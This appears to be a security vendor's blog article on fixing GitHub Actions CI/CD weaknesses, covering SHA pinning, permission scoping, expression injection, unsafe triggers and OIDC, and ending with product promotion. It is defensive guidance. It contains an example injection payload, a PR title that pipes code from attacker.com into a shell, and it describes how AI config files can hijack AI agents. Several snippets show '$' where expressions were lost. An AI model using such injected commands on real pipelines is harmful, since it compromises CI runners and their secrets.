246,496 findings in our dataset are auto-fixable. The vast majority can be resolved in under five minutes. The fix isn’t hard. The problem is nobody’s doing it.
The Setup
Every article in this series - from the pillar findings to the supply chain crisis, the Docker chokepoint, the chain attack anatomy, the AI force multiplier, and the language risk matrix - describes a problem that has a fix. Most of those fixes are mechanical. They don’t require architectural changes, security expertise, or budget. They require running a command and merging a PR.
This article is the solutions hub. For every finding class Vigilant’s Runner Guard detects, here’s what it means and exactly how to fix it.
Having spent over three decades in cybersecurity - including years of red team engagements where we weaponized these exact CI/CD attack chains against banks, government agencies, and critical infrastructure - the most frustrating part of this research isn’t the vulnerability count. It’s how simple the fixes are. The gap between the scale of the problem (192,776 findings across 20,265 repos) and the effort required to fix it (minutes per repo, often automated) is the single most important data point in this entire series.
The following fixes are ordered from highest-impact to most nuanced. If you do nothing else, do the first two.
The 5-Minute Fixes
SHA Pinning (RGS-007)
The problem: 143,616 findings. 74.5% of everything. Your workflow references a third-party action using a mutable version tag - uses: actions/checkout@v4 - that can be silently moved to point at different code.
The fix:
Replace the mutable tag with the commit SHA of the version you’re currently using:
# Before - vulnerable
- uses: actions/checkout@v4
# After - secure
- uses: actions/checkout@b4ffde65f46306985a776297c42c35f57d091244 # v4.2.2
The version comment after the # preserves readability. The SHA is immutable - it cannot be moved or modified. If the action maintainer pushes a new version, your workflow keeps running the exact code you reviewed.
Automated fix: Runner Guard does this automatically:
runner-guard fix .
This resolves every mutable action reference in your workflow files to its current SHA, adding version comments. Review the diff and commit.
Keeping pins current: SHA pins need maintenance - when new versions are released, you should update. Add GitHub Actions to your Dependabot configuration:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
Dependabot will submit PRs when new versions are available, keeping your SHA pins current without manual tracking. This is the single most impactful security configuration you can add to a repo.
Permission Scoping (RGS-008)
The problem: 11,658 findings across 7,236 repos. Workflows grant write-all or don’t specify permissions (which defaults to write access for most token scopes). A compromised action with write permissions can push code to your repository, create releases, and modify issues and PRs.
The fix:
Add explicit permission scoping to each job:
# Before - vulnerable (implicit write-all)
jobs:
build:
runs-on: ubuntu-latest
# After - secure (explicit minimum permissions)
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
For workflows that need write access to specific resources, grant only what’s needed:
permissions:
contents: read
pull-requests: write # Only if the job needs to comment on PRs
The principle: Start with permissions: read-all at the workflow level and add specific write permissions per job as needed. Never use permissions: write-all unless you can justify every scope.
Input Validation (RGS-001, RGS-002, RGS-003)
The problem: 14,014 combined findings. Untrusted input from PR titles, issue bodies, branch names, and commit messages flows directly into shell commands via expression interpolation. An attacker submitting a PR with a title like "; curl attacker.com/steal | sh; echo " gets arbitrary code execution in your CI runner.
The fix:
Never pass GitHub context variables directly into run: shell commands:
# Before - vulnerable (expression injection)
- run: echo "PR title: $"
# After - secure (environment variable)
- run: echo "PR title: $PR_TITLE"
env:
PR_TITLE: $
Environment variables are treated as data, not executable code. Shell interpolation can’t escape the variable boundary. This is the same principle as parameterized SQL queries - the fix for SQL injection applies to shell injection.
Attacker-controlled GitHub context variables to watch: - github.event.pull_request.title - github.event.pull_request.body - github.event.issue.title - github.event.issue.body - github.event.comment.body - github.head_ref (branch name) - github.event.commits[*].message
Any expression that includes attacker-controlled data must go through an environment variable, never directly into a run: block.
The Deeper Fixes
Trigger Safety (RGS-004, RGS-005, RGS-009)
The problem: 9,987 combined findings. Workflows use triggers that give untrusted input elevated access.
RGS-004 - Comment triggers without auth checks. A workflow triggered by issue_comment runs code in response to any comment - including from accounts with no relationship to the repo. Without an authorization check, anyone on GitHub can trigger your CI.
Fix: Add an authorization check:
on:
issue_comment:
types: [created]
jobs:
deploy:
if: >
github.event.comment.body == '/deploy' &&
github.event.comment.author_association == 'MEMBER'
runs-on: ubuntu-latest
RGS-005 - Excessive permissions on untrusted triggers. Workflows triggered by pull_request_target, issue_comment, or workflow_run have access to secrets and write permissions - but process input from potentially untrusted sources.
Fix: Use the principle of least privilege. If a workflow processes untrusted input, it should have read-only permissions. If it needs write access (e.g., to post a comment), split it into two jobs: one that processes the untrusted input with read-only access, and one that performs the write action using the first job’s validated output.
RGS-009 - Unsafe checkout of fork code. Workflows using pull_request_target that check out the PR head (ref: $) execute untrusted fork code with full secrets access.
Fix: Switch to pull_request trigger (no secrets access) unless you specifically need secrets. If you must use pull_request_target:
# Safe pattern - checkout the base branch, not the PR head
- uses: actions/checkout@b4ffde65f46... # v4
with:
ref: $
Network Safety (RGS-006, RGS-012)
The problem: 5,361 combined findings. Workflows download and execute remote code (curl | sh) or make network calls in privileged contexts that could exfiltrate data.
RGS-006 fix: Replace curl-pipe-bash with explicit download-then-verify:
# Before - vulnerable
- run: curl -sSL https://example.com/install.sh | bash
# After - secure
- run: |
curl -sSL -o install.sh https://example.com/install.sh
sha256sum -c <<< "expected_hash install.sh"
bash install.sh
Better yet, replace remote scripts with action-based alternatives that can be SHA-pinned.
RGS-012 fix: Audit network calls in privileged workflows. Any curl, wget, or network operation in a workflow with secrets access should be reviewed for exfiltration risk. If the workflow doesn’t need network access, consider running it in a restricted environment.
OIDC Over Secrets for Cloud Auth
Beyond the specific RGS rules, there’s a broader pattern worth addressing: how your CI/CD authenticates with cloud providers.
The traditional approach stores long-lived credentials (AWS access keys, GCP service account keys, Azure connection strings) as GitHub Actions secrets. These credentials exist indefinitely, can be exfiltrated by any compromised action with secrets access, and create a permanent lateral movement path from CI to cloud infrastructure.
The better approach uses GitHub’s OIDC (OpenID Connect) provider for cloud authentication. OIDC generates short-lived, scoped tokens for each workflow run - no stored credentials to steal.
# Before - stored credentials (vulnerable to exfiltration)
- uses: aws-actions/configure-aws-credentials@v4
with:
aws-access-key-id: $
aws-secret-access-key: $
# After - OIDC (short-lived, nothing to steal)
permissions:
id-token: write
contents: read
jobs:
deploy:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions
aws-region: us-east-1
OIDC is supported by AWS, GCP, Azure, and HashiCorp Vault. If your CI/CD accesses cloud resources, switching from stored credentials to OIDC is one of the highest-impact security improvements you can make - and it eliminates the most dangerous lateral movement path in the chain attack model.
Debug Logging (RGS-015)
The problem: 302 findings. Workflows with debug logging enabled (ACTIONS_STEP_DEBUG: true or ACTIONS_RUNNER_DEBUG: true) expose sensitive information in CI logs - environment variables, token values, internal paths, and API responses that are normally masked.
The fix: Remove debug logging from production workflows. If you need debug output temporarily, enable it through GitHub’s repository settings (Settings > Secrets and Variables > Variables) rather than hardcoding it in the workflow file, and disable it after debugging.
AI Config Safety (RGS-010, RGS-011)
The problem: 5 findings - small in number but novel in category. AI configuration files (CLAUDE.md, .cursorrules, copilot-instructions.md) in fork checkouts can hijack AI agents running in CI.
Fix: If using AI-powered PR review actions: 1. Run them on pull_request (sandboxed, no secrets) rather than pull_request_target 2. If pull_request_target is required, do NOT check out the PR head 3. Add explicit authorization checks before running AI review on fork PRs 4. Treat AI config files from untrusted sources as executable code - they control the AI’s behavior
The Automation Story
Manual remediation doesn’t scale. 50K repos times 14 rules times multiple workflow files - the math doesn’t work.
Runner Guard’s automated pipeline:
- Scan:
runner-guard scan .identifies every finding with rule ID, file, line number, and severity - Fix:
runner-guard fix .resolves fixable findings automatically (currently SHA-pinning for RGS-007) - PR: Generate a pull request with the changes, including explanations of what was found and why the fix matters
This is the pipeline we’re using for our 50K repo remediation campaign - scanning at scale, generating fixes, submitting PRs. The same pipeline works for individual repos and for organizations with hundreds of repositories.
The Single-Maintainer Mitigation
Several articles in this series highlight the single-maintainer problem: critical CI infrastructure depending on one person’s GitHub account. SHA pinning is the primary mitigation, but additional steps help:
-
Fork and maintain internally. For critical actions (dtolnay/rust-toolchain if you’re a Rust shop, shivammathur/setup-php if you’re PHP), consider forking and maintaining your own copy. You control the tags.
-
Monitor maintainer activity. If a single-maintainer action goes dormant - no commits in months, issues piling up - that’s a risk signal. The maintainer may have lost interest, or worse, their account may be vulnerable to takeover.
-
Contribute to alternatives. The single-maintainer problem is ultimately a community problem. Contributing to multi-maintainer alternatives (or adding maintainers to existing projects) reduces the concentration.
Organization-Wide Rollout
For organizations with dozens or hundreds of repos, the fix-per-repo approach doesn’t scale. Here’s the org-level playbook:
-
Scan everything. Run
runner-guard scanacross all repos in your organization. Use GitHub’s API or a simple shell loop to enumerate repos and scan each one. The JSON output format (--format json) makes aggregation straightforward. -
Prioritize by risk. Sort repos by severity and compound vulnerability count. Repos with critical findings and compound patterns (RGS-007 + RGS-008) are the highest priority - they represent complete attack chains.
-
Batch autofix. Run
runner-guard fix .across all repos to generate SHA-pinned workflow files. Review the diffs in batch and submit PRs. -
Standardize permissions. Create a GitHub Actions workflow template for your organization with explicit
permissions:blocks. Require all new repos to use the template. -
Configure Dependabot org-wide. Use GitHub’s organization-level Dependabot configuration to enable GitHub Actions dependency updates across all repos simultaneously.
-
Baseline and track. Establish a baseline finding count and track it over time. CI/CD security degrades continuously - developers add new actions, change triggers, expand permissions. Without tracking, you’ll drift back to the starting state within months.
The Dependabot Gap
GitHub provides Dependabot with built-in support for SHA-pinning GitHub Actions. The configuration is three lines. The tooling is free. The adoption is near zero.
This is the most frustrating gap in the dataset. GitHub has solved the tooling problem. They haven’t solved the awareness problem. Every new repo created from GitHub’s starter templates starts with unpinned actions. The Dependabot GitHub Actions ecosystem isn’t configured by default. The documentation examples use version tags.
Until the defaults change, the fix lives with individual maintainers and organizations. The good news: the fix is fast, automated, and free.
Consuming Open Source Safely - For Organizations and Individuals
The fixes above address what you build. This section addresses what you consume - both the open-source code you pull directly and the open-source code embedded in the commercial products you purchase.
The Liability Reality
Every open-source license in our dataset - MIT, Apache, GPL, BSD, AGPL - contains a variation of the same clause: the software is provided “as is,” without warranty, and the authors are not liable for any damages. When you reference softprops/action-gh-release@v2 in your workflow, you’re running code from a single-maintainer GitHub account with access to your secrets, under a license that explicitly says no one is responsible if something goes wrong.
This isn’t a flaw in open source. It’s the model. Maintainers can’t guarantee security for every context. But the implication is clear: you are the last line of defense. Not the maintainer. Not GitHub. Not the license. You.
Direct Consumption - When You Use Open Source
If your CI/CD pipelines reference third-party GitHub Actions, you’re a direct consumer:
-
Always review code before trusting it. SHA pinning forces a deliberate review - you choose a specific commit to trust. Mutable tags skip the review entirely and trust whatever happens to be there when your pipeline runs.
-
Establish an action allow-list. Maintain an approved list of GitHub Actions for your organization. New actions require a security review before being added. This prevents individual developers from introducing unvetted supply chain dependencies.
-
Monitor maintainer health. A single-maintainer action that hasn’t been updated in six months is a different risk from an org-maintained action with active contributors. Watch for: dormant maintainers, account ownership changes, sudden spikes in commit activity (potential compromise), and expired domain registrations on maintainer email accounts.
-
Fork critical dependencies. For actions your pipeline can’t function without - your setup action, your deployment action, your release action - consider forking and maintaining internally. You control the tags. You control the code. The upstream maintainer’s account security no longer determines your pipeline’s security.
-
Run Runner Guard in CI. Add Runner Guard as a step in your CI pipeline that scans your workflow files on every change. New vulnerabilities are caught at the PR stage, before they merge. Prevention beats detection.
-
Treat workflow files as security-critical code. Changes to
.github/workflows/should require the same review rigor as changes to authentication logic or payment processing. A CODEOWNERS file that requires security team approval for workflow modifications is a straightforward control.
Indirect Consumption - When Your Vendors Use Open Source
Every commercial product you purchase was built with open source. The vendor’s CI/CD pipeline almost certainly runs on GitHub Actions, GitLab CI, or a similar platform. The vendor’s build dependencies include the same unpinned actions and single-maintainer chokepoints we documented in this research. Your vendor’s supply chain risk is your supply chain risk.
Questions to ask your technology vendors:
-
How do you secure your CI/CD pipeline? If the answer doesn’t include SHA pinning, permission scoping, and regular pipeline audits, their build system may be vulnerable to the same attack chains we documented across 20,265 repos.
-
Do you use open-source GitHub Actions? Which ones? A vendor running
docker/login-action@v3in their build pipeline inherits Docker’s concentration risk. A vendor using single-maintainer actions inherits that maintainer’s account security as a dependency. -
How do you validate your build artifacts? Software supply chain integrity doesn’t end at source code. Artifact attestation, reproducible builds, and SLSA compliance provide evidence that the binary you received was built from the source code you reviewed.
-
What happens when a CI/CD dependency is compromised? The tj-actions/changed-files incident in March 2025 affected thousands of repos. Your vendor’s incident response plan should account for supply chain compromises in their build tooling - not just vulnerabilities in their application code.
-
Do you scan your CI/CD configurations with a tool like Runner Guard? If not, the vendor may not know about vulnerabilities in their own build pipeline. Point them to this research to understand the scope of the problem across 50K repos.
The organizations with the most mature security programs extend their vendor risk assessments beyond application security (penetration tests, SOC 2 reports, code audits) to include CI/CD pipeline security. A vendor with a clean penetration test report and an insecure build pipeline has a gap that traditional assessments don’t cover.
The Shared Responsibility Model
Open-source security follows a shared responsibility model, whether anyone has named it that or not:
- Maintainers are responsible for the code they write and the releases they publish
- Platform providers (GitHub, GitLab) are responsible for the infrastructure the code runs on
- Consumers - you - are responsible for how you integrate, configure, and trust that code in your environment
The gap in this model is the CI/CD pipeline. Maintainers write the code. GitHub provides the runners. But nobody is systematically reviewing how the code gets from repository to runner to production. That’s the gap our 50K-repo scan quantified - and it’s the gap you need to close in your own pipelines and your vendors’ pipelines.
What You Can Do About It - The Priority List
If you have limited time, fix in this order:
- SHA-pin all actions (
runner-guard fix .) - eliminates the supply chain entry point - Scope permissions - add
permissions:blocks with minimum required access - Fix expression injection - move attacker-controlled variables to environment variables
- Add Dependabot for Actions - keeps SHA pins current automatically
- Audit triggers - switch from
pull_request_targettopull_requestwhere possible
The first two items take under five minutes for most repos. Items 3-5 may require workflow logic changes, but the fixes are well-documented and straightforward.
246,496 findings in our dataset are auto-fixable today. The scanner is free. The fixes are simple. The question isn’t whether to fix your CI/CD - it’s why you haven’t already.
But fixing once isn’t enough. Developers add new workflow steps, new action dependencies, and new triggers every week. A repo that’s clean today can have five new findings by next month. Point-in-time scanning catches the current state. Continuous monitoring catches the drift. The goal isn’t just fixing your pipelines - it’s keeping them fixed.
Related Articles
- The Software Supply Chain Crisis - 74.5% of Findings Are Unpinned Actions
- The Docker Chokepoint - One Org, Six Actions, Thousands of Pipelines
- Anatomy of a CI/CD Chain Attack - From Recon to Exfiltration in 5 Steps
- AI Agents as Force Multipliers - The Next Evolution of Supply Chain Attacks
- The Language Risk Matrix - Why Rust Repos Are the Most Vulnerable
- What’s Next - Fixing 50K Repos, One PR at a Time
- Beyond Snapshots - Why CI/CD Security Needs Continuous Monitoring
Start with a scan. Stay with continuous monitoring.
Runner Guard gives you the one-time scan - free, open-source, 14 security rules. For continuous CI/CD pipeline monitoring across your entire vendor chain, ThreatCert runs every 60 minutes, correlating CI/CD findings with 6 other intelligence domains.
brew install Vigilant-LLC/tap/runner-guard
runner-guard scan github.com/owner/repo
The detection capabilities described above are active across Vigilant client environments today. If your organization wants to assess its current exposure to this attack chain — or understand how our managed services align to your specific environment — contact your Vigilant account team or reach us at vigilantdefense.com.
This event reinforces what Vigilant has long asserted:
Nation-state adversaries are not probing our networks — they are preparing battlefields.
Stay alert, stay aggressive, stay Vigilant,
Chris Nyhuis
CEO, Vigilant
Vigilant, 7570 Bales Street
Suite 250, West Chester
Ohio 45069, United States
855-238-4445
Background
CEO of Vigilant, a global cybersecurity firm he has led for 16 years. 30+ years of experience across offensive security, SCADA/IoT, and critical infrastructure defense. Holds multiple patents including Forensically Validated Detection Systems and Secure Protocol Translation. Former instructor at a US intelligence school. Certified human trafficking investigator and OSINT practitioner. Vigilant dedicates 25% of profits to combating human trafficking, child exploitation, and supporting orphan care worldwide.